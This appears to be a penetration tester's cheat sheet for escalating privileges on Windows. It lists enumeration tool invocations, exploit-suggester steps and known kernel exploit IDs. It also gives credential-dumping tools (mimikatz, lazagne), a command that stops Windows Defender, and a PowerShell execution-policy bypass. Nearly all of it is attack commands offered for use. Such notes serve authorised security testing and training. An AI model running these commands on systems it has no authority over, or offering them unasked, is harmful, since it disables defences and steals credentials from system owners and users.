wpe

# Windows Priviledge Escalation

# Enumeration
# General Scanning tool
winPEAS.exe
winPEAS.bat
windows-privesc-check2.exe
Seatbelt.exe -group=all
powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"
Powerless.bat

# Search for CVE
systeminfo > sysinfo.txt
python windows-exploit-suggester.py --database <DATE>-mssb.xlsx -i sysinfo.txt
sudo docker run --rm -it -v `pwd`:/data wes

systeminfo > systeminfo.txt
wmic qfe > qfe.txt
python wes.py -u
python wes.py systeminfo.txt qfe.txt

powershell -exec bypass -command "& { Import-Module .\Sherlock.ps1; Find-AllVulns; }"

# Look for:
cheat autorun
cheat name_pipe
cheat AlwaysInstallElevated
cheat executable_files
cheat startup_app
cheat weak_service_permission
cheat unquoted_service_paths
cheat hot_potato
cheat CVE

# Common exploit
KiTrap0D (KB979682)
MS11-011 (KB2393802)
MS10-059 (KB982799)
MS10-021 (KB979683)
MS11-080 (KB2592799)

# Post exploitation
lazagne.exe all
SharpWeb.exe
mimikatz.exe

# Usefull command
# Disable windows defender
sc stop WinDefend

# Bypass restriction
powershell -nop -ep bypass

# List hidden files
dir /a

# Find a file
dir /b/s "<FILE>"

# Methodology to follow
https://guif.re/windowseop
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://mysecurityjournal.blogspot.com/p/client-side-attacks.html
http://www.fuzzysecurity.com/tutorials/16.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md